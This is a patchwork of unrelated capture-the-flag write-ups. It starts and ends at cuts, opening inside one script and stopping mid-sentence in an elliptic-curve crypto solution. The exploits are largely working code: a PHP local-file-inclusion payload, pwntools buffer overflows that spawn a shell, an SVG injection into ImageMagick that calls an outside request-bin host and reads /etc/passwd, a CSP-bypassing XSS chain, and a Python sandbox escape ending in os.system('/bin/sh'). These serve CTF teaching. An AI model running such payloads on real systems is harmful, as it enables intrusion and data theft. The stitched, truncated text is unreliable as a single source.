str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()``` *** # Web ## Agent 95They've given you a number, and taken away your name~ Connect here:\http://jh2i.com:50000 **flag{user_agents_undercover}** **Solution:** Change User agent to Windows 95 ## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore?? Connect here:\http://jh2i.com:50003 **JCTF{spoooooky_ghosts_in_storage}** **Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes ## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency! Connect here:\http://jh2i.com:50002 **flag{phon3_numb3r_3xtr4ct3d}** **Solution:** With the challenge we are given a website with the following index page: ![](assets//images//phphonebook_1.png) so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page: `http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php` and by going to this url we get the file base64 encoded: ![](assets//images//phphonebook_2.png) ```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code: ```php <html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php The phonebook is located at phphonebook.php <div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div> </body></html>``` we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code: ```php <html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1> <div id="im_container"> This phphonebook was made to look up all sorts of numbers! Have fun... This phphonebook was made to look up all sorts of numbers! Have fun... </div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div> <div id="php_container"> </div> <div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div> </body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page: ![](assets//images//phphonebook_3.png) burp suite catches the request and allows us to edit it: ![](assets//images//phphonebook_4.png) we now only need to add an emergency variable and we get the flag: ![](assets//images//phphonebook_5.png) ![](assets//images//phphonebook_6.png) with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag: ![](assets//images//phphonebook_7.png) **Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
# coffer-overflow-0Author: [UltimateHG](https://github.com/UltimateHG)### Basics of the basicsSo, how do we approach this question? We can take a look at the source provided (coffer-overflow-0.c):```#include <stdio.h>#include <string.h> int main(void){ long code = 0; char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What do you want to fill your coffer with?"); gets(name); if(code != 0) { system("/bin/sh"); }}```It looks like a standard buffer overflow question where the vulnerability here is gets(), which does not specify the amount of bytes it should accept. Since the variable we're writing to, `char name[16]` has a allocated buffer size of 16, we just need to overflow past that to start overwriting the variables we want, which in this case is `code`.This is our target line: ```if(code != 0) { system("/bin/sh"); }```As long as we are able to overwrite `code`, it doesn't matter what we overwrite it with, it will redirect us to shell.Since stack space is generally allocated in multiples of 16, and this function declares `16+8=24 < 32` bytes for the variables, we can assume 32 bytes would be allocated to the function. Hence we just need to overwrite into the last 8 bytes of the stack and we should overwrite `code`. The length of our exploit would be 32-8+1 = 25.Here is the final exploit: ```#!/usr/bin/env python from pwn import *e = ELF("./coffer-overflow-0")p = remote("2020.redpwnc.tf", 31199) p.recvline()p.recvline()p.sendline("A"*25)p.interactive()```This should redirect us to shell, and with a simple `ls` we can see an entry `flag.txt`, so we simply do `cat flag.txt` to obtain the flag: ```$ lsMakefilebincoffer-overflow-0coffer-overflow-0.cdevflag.txtliblib32lib64$ cat flag.txtflag{b0ffer_0verf10w_3asy_as_123}```
# redpwnCTF-coffer-overflow-0-coffer-overflow-1-coffer-overflow-2 These were most simple and first 3 questions of redpwnCTF ''' ALL of them have no security functionality enabled ''' Coffer-Overflow-0 This question is simple, the variable code is first element to be overflown after buffer overflow.So,we just need to supply more input than what is required to overflow the stack To overflow rip, we need rbp+8 bytes= 16+8 input bytesAdding anything to the stack, will cause buffer-overflow and overwrite the first variable named ''code'' Coffer-Overflow-1 Similar to previous one, just difference being the variable "code" has to be replaced by value 0xdeadbeef.Eaxctly the same procedure, just add the value that we want to write after 24 bytes(rbp + 8) COffer-Overflow-2 Again the same, just we need to add the value of function binFunction() after buffer overflow gdb-peda$ info functionsbinFunction 0x4006e7 Just add that value after overflow.
TLDR: compute the change in input going from "test" to "admin" and do a forward pass on this delta to obtain a transformation vector that you can add to the hash full writeup: [https://ctf.harrisongreen.me/2020/tctf/sham/](https://ctf.harrisongreen.me/2020/tctf/sham/)
# 0CTF/TCTF 2020 Quals I played this CTF with the UK and Swiss based "Organizers" team. Wechat Generator---> Come and check my latest innovation! It's normal to encounter some bugs and glitches since it is still in beta development.> http://pwnable.org:5000/ I worked on this challenge together with bazumo, Robin and Titus. We are presented with a website where we can customise a WeChat conversation: ![](images/index.png) Clicking "Preview" here POSTs the data `[{"type":0,"message":"Love+you!"},{"type":1,"message":"Me+too!!!"}]` to the server. The server returns both a "previewid" UUID to identify the image, and the rendered image itself in `data:image/svg+xml;base64` format, replacing the picture on the right. Clicking "Share" POSTs the "previewid" to the server, which sends back a URL to view the image you created. Looking more closely, the image has a path of the form `/image/PwVYJO/png`, and is not stored in a static directory. In fact, the image is rendered each time it is requested, and by changing `png` to other common image formats, it will render in those formats instead. Even PDF is supported! At this point we know it's almost certainly ImageMagick processing our SVG data on the backend, which opens up a whole can of potential security issues. However, there are a couple limitations – `/image` returns an error if the chosen format is not three letters long, plus some incredibly dangerous formats that [ImageMagick supports](https://imagemagick.org/script/formats.php) such as Magick Scripting Language (MSL) are not available. The WeChat generator has emojis, which are encoded in square brackets e.g. `[smile]`. By looking at the generated SVG, we can see that this gets replaced with an `<image>` tag that has a `link:href` attribute pointing to a static image. We can close the image tag ourselves and add arbitrary SVG data which will get processed by ImageMagick. For instance, the following triggers a HTTP request from the server to our [requestbin](https://requestbin.com/) when viewing the rendered PNG: ```[{"type":1,"message":"[lmfao.png"/> <image height="1600" width="1000" xlink:href="http://dn3sdwb1d1noc.x.pipedream.net/" /> ] "}]``` If we link to an SVG on our server, ImageMagick will additionally parse the `xlink:href` inside that. At this point we spent a long time trying common SVG payloads hoping to get LFI or even RCE (ImageTragick). Finally, we discovered an [obscure feature of ImageMagick](http://en3srwbud1noc.x.pipedream.net/), the `text:` input format. It gives us LFI that we can see get rendered in our image! For example if we use `xlink:href="text:/etc/passwd"` in the above payload, we get: ![](images/lfi.png) Visiting `/flag` prints "Good job! Now what's the next step?". A single step would of course be too easy for this CTF. We use the LFI to further explore the filesystem and eventually discover the source code for the application in `/app/app.py`. The `text:` trick only renders the first "page", and there seems to be no way to view more. It's enough to see a good amount of the source though: ![](images/lfi2.png) This reveals a new route, `/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws`. We can post a URL path from the same website to the Chrome WebDriver "admin". The aim is now to find an XSS vulnerability to exploit him with. ![](images/admin.png) We can't just send a link to an SVG with `<script>alert(1)</script>` in it, due to the restrictive Content Security Policy which blocks inline scripts: ```img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'``` We need to find a way of sourcing a script that includes XSS, from the same origin. The other notable part of the source is an additional `callback` parameter for the error handler. This allows us to add three characters then an equals before any JSON error thrown by the website. This appears to give us so few characters that it's useless, on the other hand it doesn't make sense unless it's part of the solution. After trying many, many image formats and payloads, finally bazumo spotted something we should have noticed much earlier. There's an injection into the `previewid` parameter of `/share`, where the error reflects our input back. For instance an input of `' + alert(1); b = {'c': "` results in: ```{"error": "Convert exception: unable to open image `previews/' + alert(1); b = {'c': " ': No such file or directory @ error/blob.c/OpenBlob/2874"}``` By using the weird `callback` parameter we can introduce a single quote in front of the JSON, and turn this into valid Javascript where our injection gets executed. As this response is coming from the website itself, it passes the CSP protection, and can be included in a script tag in an SVG we send the admin to win. `src` is blocked but we can use `xlink:href` on the script tag – this is valid SVG. After sending this to the admin, he gives us the flag, which is indeed what we wanted as a reward for hours of reading about the SVG format. Included is a script [wechat_solve.py](wechat_solve.py) which automates the whole process.
So back again with some writeups as there were not many good challenges in ctfs in past few months. I loved some of the challenges of this CTF, while the category wise challenges were good. [Link to the challenges](https://2020.redpwn.net/challs) ## alien-transmissions-v2 -:> description: The aliens are at it again! We've discovered that their communications are in base 512 and have transcribed them in base 10. However, it seems like they used XOR encryption twice with two different keys! We do have some information: 1) This alien language consists of words delimitated by the character represented as 4812) The two keys appear to be of length 21 and 193) The value of each character in these keys does not exceed 255Find these two keys for me; concatenate their ASCII encodings and wrap it in the flag format. challenge file : [encrypted.txt](assets/encrypted.txt) 77 solves | 481 points ### Solution:NOTE: There was a change in challenge statement that key's length does not exceed 128 as it was readable. #### Tl;dr : This challenge looked impossible to solve once as how can I predict where will '481' occur in the encrypted text so after lot of approaches I finally reach to this one. So challenge statement was clear that there is a bunch of xor encrypted base512 characters represented in base10. And there is fixed key1 and key2 because it is part of our flag.That means```cyclic(key1) ^ cyclic(key2) ^ original_message = given_ciphertext```Let the cryptanalysis begin. We know that the given_ciphertext and we know key1 & key2 but original_message is completely random so there is no way we can get the keys , as for any possible set of keys there can be a valid original message. But there was this catch that make this challenge easier that the alien messages are separated by 481. So think of it like there are bunch of words having length [2-20] consisting of base512 characters delimited by 481.Then 481 will occur the most than other possible characters in original message. Based on that we can just divide the data into chunks of lcm(19,21) `Reason: as we will have key1[i%21]^key2[i%19] be same` and obtain the most occured element in each row to be 481. Let's check the counter first to be sure ```pythonfrom collections import Counterimport string f= open("encrypted.txt","r").read().split("\n")lim = 21*19lis = [[] for i in range(lim)] for ind in range(len(f)): el = f[ind] lis[ind%(lim)].append(el) cols = []for row in lis: x = Counter(row) print(x) ``` Output:```Counter({'470': 250, '78': 12, '74': 12, '485': 11, '31': 11, '91': 11, '267': 11, '328': 10, .......Counter({'422': 246, '182': 12, '331': 11, '407': 10, '381': 10, '446': 10, '15': 10, '17': 10, ..........```So it was obvious now. Then we have key1[i]^key2[j]^(most_common^481) to be the original message and we have lcm(19,21) equations, so we can just easily pick one index and get the other chars easily. Here is our final [script](assets/alien.py): ```pythonfrom collections import Counterimport string f= open("encrypted.txt","r").read().split("\n")lim = 21*19lis = [[] for i in range(lim)] for ind in range(len(f)): el = f[ind] lis[ind%(lim)].append(el) cols = []for row in lis: x = Counter(row) cols.append(x.most_common(1)[0][0]) for i in range(lim): cols[i] = int(cols[i]) ^ 481 key1 = ["*" for i in range(21)]key2 = ["*" for i in range(19)] for i in range(128): # checking for only readable characters key1[0] = chr(i) for j in range(19): key2[(21*j)%19] = chr(cols[21*j]^i) k2 = "".join(key2) if k2.isprintable(): for m in range(21): key1[m%21] = chr(ord(k2[m%19])^cols[m]) k1 = "".join(key1) if k1.isprintable(): print("probable flag : flag{"+k1+k2+"}")```We got this [output](assets/output.txt) here> Flag : flag{h3r3'5_th3_f1r5t_h4lf_th3_53c0nd_15_th15} ## itsy-bitsy-:> description: The itsy-bitsy spider climbed up the water spout... `nc 2020.redpwnc.tf 31284` challenge file : [itsy-bitsy.py](assets/itsy-bitsy.py) 216 solves | 436 points ### Solution: If we look into the script```python#!/usr/bin/env python3 from Crypto.Random.random import randint def str_to_bits(s): bit_str = '' for c in s: i = ord(c) bit_str += bin(i)[2:] return bit_str def recv_input(): i = input('Enter an integer i such that i > 0: ') j = input('Enter an integer j such that j > i > 0: ') try: i = int(i) j = int(j) if i <= 0 or j <= i: raise Exception except: print('Error! You must adhere to the restrictions!') exit() return i,j def generate_random_bits(lower_bound, upper_bound, number_of_bits): bit_str = '' while len(bit_str) < number_of_bits: r = randint(lower_bound, upper_bound) bit_str += bin(r)[2:] return bit_str[:number_of_bits] def bit_str_xor(bit_str_1, bit_str_2): xor_res = '' for i in range(len(bit_str_1)): bit_1 = bit_str_1[i] bit_2 = bit_str_2[i] xor_res += str(int(bit_1) ^ int(bit_2)) return xor_res def main(): with open('flag.txt','r') as f: flag = f.read() for c in flag: i = ord(c) assert i in range(2**6,2**7) flag_bits = str_to_bits(flag) i,j = recv_input() lb = 2**i ub = 2**j - 1 n = len(flag_bits) random_bits = generate_random_bits(lb,ub,n) encrypted_bits = bit_str_xor(flag_bits,random_bits) print(f'Ciphertext: {encrypted_bits}') if __name__ == '__main__': main()``` So if we connect to server and chose any valid i and j we will get a string of bits with length of 301.When we look to the str_to_bits function it will give you 7 bits for each character as readable range is upto 127. > And 301/7 = 43 i.e. length of our flag. On looking into generate_random_bits() it will create a random bit string. So we need to somehow control particular bit to decrypt the encrypted bit. If I send i=3 & j=4 so the data range will be from 1000 to 1111 where we know that every 4\*x+1 th bit is 1 always.So if I send {a-1,a} as valid {i,j} where a is any integer then I can reveal every xth bit. I used primes for effective results.So here's the final [script](assets/itsy-decode.py): ```python#!/usr/bin/python3 from pwn import *from Crypto.Util.number import isPrimeflag = ["*" for i in range(301)] for i in range(2,302): if not isPrime(i): continue r = remote("2020.redpwnc.tf", 31284) r.recv() r.sendline(str(i-1)) r.recv() r.sendline(str(i)) xored = r.recv().split()[-1] for j in range(0,301,i): val = str((xored[j]-ord('0')) ^ 1) # Bit-Flipping if flag[j] == "*": flag[j] = val else: try: assert( val == flag[j]) except: print("Logical Error") # To check the integrity of the algorithm exit() cur_flag = "".join(flag).replace("*","1") Current_flag = "" for part in range(0,len(cur_flag),7): Current_flag+=chr(int(cur_flag[part:part+7],2)) print(f"Flag after {i} operations:{Current_flag}") r.close()```> Flag: flag{bits_leaking_out_down_the_water_spout}
In this challenge, we're looking at a modern type of pyjail escape. Upon first connecting, we're informed about the source code of the challenge being available, so we can have a look at that first. ```python#!/usr/bin/env python3 import pathlibimport reimport signalimport sys import audit_sandbox if sys.version_info[:3] < (3, 8, 2): raise RuntimeError('Python version too old') WELCOME = f'''\Welcome to PyAuCalc, an awesome calculator based on Python {'.'.join(map(str, sys.version_info[:3]))}!(Type "source" to see my awesome source code!)'''SOURCE = pathlib.Path(__file__).read_text(encoding='utf-8')SANDBOX = pathlib.Path(audit_sandbox.__file__).read_bytes() # Calculators don't need hacking functions, ban them!audit_sandbox.install_hook()del audit_sandboxdel sys.modules['audit_sandbox'] def main(): print(WELCOME) while True: try: expression = input('>>> ') # Calculators don't need non-ASCII characters. expression.encode('ascii') except EOFError: break except Exception: print('invalid expression') continue # No denial-of-service! signal.alarm(1) # Calculators don't need spaces. if not (expression := re.sub(r'\s', '', expression)): signal.alarm(0) continue # Feel free to inspect my super secure source code and sandbox! if expression == 'source': signal.alarm(0) print(SOURCE) continue if expression == 'sandbox': signal.alarm(0) print(SANDBOX) continue try: # Calculators don't need builtins! result = str(eval(expression, {'__builtins__': {}})) signal.alarm(0) print(result) except Exception: signal.alarm(0) print('invalid expression') if __name__ == '__main__': try: main() except KeyboardInterrupt: sys.exit(0)``` So we see that our input will be used in an `eval`, without direct access to builtins, with only ascii characters, and with all spaces removed. And there's some sandboxing/auditing going on through another module. As we can apparently also download that, let's go ahead and inspect it. After downloading the sandbox and converting it to a proper file, we can see that it's a python extension module. A quick trace through the module being constructed shows us the `install_hook` function simply uses `PySys_AddAuditHook` to install an audit hook. This audit hook checks every audit against a blacklist of components, and when kills the process when the blacklist is matched. ```cint hook(char *event,void *args,void *userdata) { int iVar1; char *pcVar2; char *__s1; undefined **ppuVar3; char *__s; long in_FS_OFFSET; char *pcStack72; long local_40; local_40 = *(long *)(in_FS_OFFSET + 0x28); pcVar2 = strdup(event); __s = pcVar2; if (pcVar2 == (char *)0x0) { fwrite("Insufficient memory.\n",1,0x15,stderr); /* WARNING: Subroutine does not return */ exit(1); } do { __s1 = strtok_r(__s,".",&pcStack72); if (__s1 == (char *)0x0) { FUN_001010e0(pcVar2); if (local_40 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } ppuVar3 = &blacklist; __s = "breakpoint"; while( true ) { iVar1 = strcmp(__s1,__s); if (iVar1 == 0) { puts("Hacking attempt!"); FUN_001010e0(pcVar2); /* WARNING: Subroutine does not return */ exit(1); } __s = (char *)0x0; if ((Elf64_Dyn *)ppuVar3 == _DYNAMIC) break; __s = (char *)((Elf64_Dyn *)ppuVar3)->d_tag; ppuVar3 = (undefined **)&((Elf64_Dyn *)ppuVar3)->d_val; } } while( true );}``` Enumerating the blacklist, we find the following event components are disallowed:- ctypes- fcntl- ftplib- glob- imaplib- import- mmap- msvcrt- nntplib- open- os- pdb- poplib- pty- resource- shutil- smtplib- socket- sqlite3- subprocess- syslog- telnetlib- tempfile- urllib- webbrowser- winreg So it seems any file access, code execution and importing of modules not yet in `sys.modules` will result in the interpreter being stopped.From here, we see two possible ways forward: circumvent the audit events, or exploit the python interpreter so that we gain native code execution that can do these things without going through the python interpreter code that emits these events. Let's first build up some utility tools. Since we're in an `eval` environment and not `exec`, we'd ordinarily have to turn to immediately executed lambdas to have some kind of convenience naming for our variables, which would be impossible since we can't construct a lambda without using spaces. Since we're in a recent python version however, we can use the walrus operator `:=` instead. Our payload can take the form of a list, and e.g. `[a:=21,a*2]` as payload confirms we can have variable names now. Then the classic pyjail techniques apply to get to existing modules and classes. In particular, we get to the class `_frozen_importlib.BuiltinImporter` so that we can load the `builtins` module to regain access to the builtins, including `__import__` which we can still use for modules already in `sys.modules`. The first element in our payload list will become `y := ().__class__.__base__.__subclasses__()[84]().load_module('builtins')`. We can see the alarm call in the given source, so we disable it already, in case we want more time at some point: `y.__import__('signal').alarm(0)`. One last trick we need is getting around some restrictions with spaces and eval: `exec` is a function available through builtins, and we can encode spaces in a string as `\x20`, meaning we can now get even more arbitrary python code running by using `y.exec("something\x20here",{"__builtins__":y.__dict__})`. With some google searching, we easily found a blog post discussing how to work around the audit hooks with the usage of ctypes, which is unfortunately not available in `sys.modules`, besides its audit events being blacklisted as well. At this point, we spent a fairly large amount of time manually tracing through calls in the cpython source code hoping to find a code path that could give us a file read or exec without triggering an unwanted audit event (what we didn't know then was that file read was not even enough to get the flag; we need full RCE). We found one interesting possibility: `_posixsubprocess.fork_exec` seems to fork and exec without dispatching an audit event. But alas, that module couldn't be accessed either. While it's a builtin module and as such doesn't need any `open` events, the `import` events it triggers when trying to import it are also blocked. After some needed sleep and with a fresh head, we set off to try again. Going through the source code, we had noticed that the only way to completely remove hooks is when `_PySys_ClearAuditHooks` is called, which is obviously not directly available to our running python code, and only gets called during interpreter shutdown. Then inspiration struck: we could hook python code to run at some event during shutdown after the hooks were cleared. Looking at the cpython source code again, there were two clear options:```c// From https://github.com/python/cpython/blob/v3.8.3/Python/pylifecycle.c#L1232_PySys_ClearAuditHooks(); /* Destroy all modules */PyImport_Cleanup(); /* Print debug stats if any */_PyEval_Fini(); /* Flush sys.stdout and sys.stderr (again, in case more was printed) */if (flush_std_files() < 0) { status = -1;}``` After the audit hooks are cleared, modules are cleaned up, and `sys.stdout` and `sys.stderr` are flushed once more. The first attempt, to overwrite `sys.stderr` with a custom object with a `flush` method failed locally already (though I'm not sure why). So we look at the modules instead. We want to try to inject something into `sys.modules` that can do something when it gets "cleaned up". Luckily for us, there's the magic method `__del__`, which is triggered when an object is being garbage collected. We create our own class and object, inject it into `sys.modules` and wait for the interpreter to clean up the modules upon shutdown. ```pythonimport os,sysclass X: def __del__(self): os.system("/bin/sh")sys.modules["pwnd"] = X()sys.exit()``` Encoding this as a string that doesn't contain any spaces and our exec trick, we get a shell. Then we just need to run `/readflag` to obtain the flag and be on our merry way. The flag turns out to be `flag{bytecode_exploit_to_pwn_python_and_bypass_audit_hook_36c3879ea297210820301ce1}`.*Oops*, it looks like we got an unintended solution there, and the intended approach was to get code execution and circumvent the interpreter instead. So would our exploit be avoidable? Given that hooks are added by a module, it seems that the general case, the module being cleaned up only after the hook has been removed cannot be done the other way around, since the hook might rely on its module still existing. #### Final payload```python[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]```
# coffer-overflow-2 ## TLDR* BOF ## Challenge### Descriptionresult of file command* Arch : x86-64* Library : Dynamically linked* Symbol : Not stripped result of checksec* RELRO : Partial RELRO* Canary : Disable* NX : Enable* PIE : Disable ### Exploit Simple buffer overflow challenge. Return to function named \"binFunction\". My exploit code is [solve.py](https://github.com/kam1tsur3/2020_CTF/blob/master/redpwn/pwn/coffer-overflow-2/solve.py). ## Reference twitter: @kam1tsur3
## Jeopardy >The choice is yours...choose your curve! `nc 2020.redpwnc.tf 31542` ### Challenge ```py#!/usr/bin/env sageimport randomimport timeimport asyncioimport traceback flag = open('flag.txt','r').read() def isPrime(n): if n == 2: return True if n%2 == 0: return False r,d = 0,n-1 while d%2 == 0: r += 1; d //= 2 for k in range(1): a = random.randint(2,n-2) x = pow(a,d,n) if x == 1 or x == n-1: continue for i in range(r-1): x = pow(x,2,n) if x == n-1: continue else: return False return True async def handle_conn(reader, writer): async def prompt(ptext): writer.write(ptext.encode()) await writer.drain() return (await reader.readline()).decode() try: BITS = 200 a = Integer(await prompt('a: ')) b = Integer(await prompt('b: ')) p = Integer(await prompt('p: ')) E = EllipticCurve(GF(p), [a,b]) assert E.order().nbits() >= BITS assert E.order() != p assert isPrime(E.order()) G = E.gens()[0] writer.write(f'{G}\n'.encode()) secret = random.randint(1,E.order()-1) pub = G * secret writer.write(f'{pub}\n'.encode()) user = int(await prompt('secret?')) if user == secret: writer.write(f'{flag}\n'.encode()) await writer.drain() except Exception: writer.write(traceback.format_exc(2).encode()) finally: await writer.drain() writer.close() await writer.wait_closed() async def main(): server = await asyncio.start_server(handle_conn, '0.0.0.0', 9999) addr = server.sockets[0].getsockname() print(f'Listening on {addr}') async with server: await server.serve_forever() asyncio.run(main())``` ### TL;DR - Server needs a curve which has a prime order which is different from the characteristic of the finite field- When a curve is accepted, the server builds the ECDLP and asks us to solve it.- Order of the curve must be at least 200 bits, if the order of the curve is prime, we cannot solve dlog- However, the order is checked with a broken `isPrime` function, vulnreable to composite strong pseudoprimes- We solve the challenge by first calculating a strong pseudoprime passing `isPrime` which is smooth enough that we can reasonibly solve dlog- We then must construct an elliptic curve of this order and pass it to the server. If the curve is accepted we are given `G`, `Q=dG` which we must derive `d` from ### Solution This challenge was a golf challenge, where the number of bits the prime needed to satisfy decreased over time. When the challenge is solved, the number is fixed. The challenge was solved fairly quickly and the order of the curve was fixed at `200` bits. I did not solve this challenge during the competition. The algorithm for finding an elliptic curve of prescribed order was duanting and I was unable to make it work. Holocircuit did amazing work and got very close, but we couldnt squash all the bugs before the end of the competition. Since the CTF ended, I learnt many people solved this challenge by using [ecgen](https://github.com/J08nY/ecgen), an unmaintained and notorious tool which will generate a curve. I have also since found a wonderful paper [Safety in Numbers: On the Need for Robust Diffie-Hellman Parameter Validation](https://eprint.iacr.org/2019/032.pdf) which has an almost complete solution to this challenge. I will split this write-up into three stages, calculating a strong pseudoprime, constructing a curve of prime order and solving dlog for the curve. For the last step, I have emulated the server and I use a dummy flag... I don't know what the real one is. #### Step One: Strong Pseudoprimes ##### Miller-Rabin I already had some experience fooling the Miller-Rabin test from a paper by Arnault: [Constructing Carmichael numbers which are strong primes to several bases](https://core.ac.uk/download/pdf/81930829.pdf) and even had some code lying around. However it was hard to generalise to many many factors and the best integer I found was `238` bits with 5 factors. This passed `isPrime` with about 6% success (this isPrime function is so whack). ```C = 340649031679478708871356501710247209854526956821188127472136012686397651bit length: 238factors: [10360877555851, 134691408226051, 424795979789851, 549126510460051, 1046448633140851]bit lengths: [44, 47, 49, 49, 50]``` I decided the bit length of the factors was too large to reasonibly solve dlog, so I started looking for other methods. ##### Universal forms The second method I used was constructing Carmichael numbers from universal forms, based off the paper [On Fermat's Simple Theorem](https://projecteuclid.org/download/pdf_1/euclid.bams/1183501763) which shows how we have a one parameter condition to construct Carmichael numbers with `n` factors. These Carmichael numbers passed the test less often, but often enough with ~1% success. For an integer `M`, we can find Carmichael numbers C from universal forms, which can be written as```U_n+1 = (6M + 1)(12M + 1)(18M + 1)(2^2 M + 1)...(2^n-1 M +1)```where each factor of `U_n+1` must be prime. Using the following snippet of code ```pydef universal_forms(SEED, l): coeffs = [6,12,18,36,72,144,288,576,1152,1728] coeffs = coeffs[:l] while True: ps = [c*SEED + 1 for c in coeffs] if all(isPrime(p) for p in ps): return ps, SEED + 1 SEED += 1``` I was able to calculate several composite numbers which passed the `isPrime` test with at least 1% success with 5 factors. I could not find composite integers of more factors which passed the test with this bound of success. A subset of the integers I found was ```C = 1300166808692042795962532177088827946815806931819239012667149bit length: 200factors: [313114417687, 626228835373, 939343253059, 1878686506117, 3757373012233]bit lengths: [39, 40, 40, 41, 42]...C = 2880633345009518112283310208636540975082090682427396690125869bit length: 201factors: [367113915967, 734227831933, 1101341747899, 2202683495797, 4405366991593]bit lengths: [39, 40, 41, 42, 43]``` This was progress, and during the CTF I felt like this was good enough. `42` bits as a highest factor seemed reasonable. I was surprised by how easy this was to implement and how quick it was. For larger C, I can see this getting very slow, especially when you require `k > 3` factors. ##### Erdos Method + Granville and Pomerance This section is a bonus, and based off two algorithms in [Safety in Numbers: On the Need for Robust Diffie-Hellman Parameter Validation](https://eprint.iacr.org/2019/032.pdf). We can use the Erdos method to find Carmichael numbers of many many small factors. These numbers however never pass the `isPrime` test (or close to never) so what we can 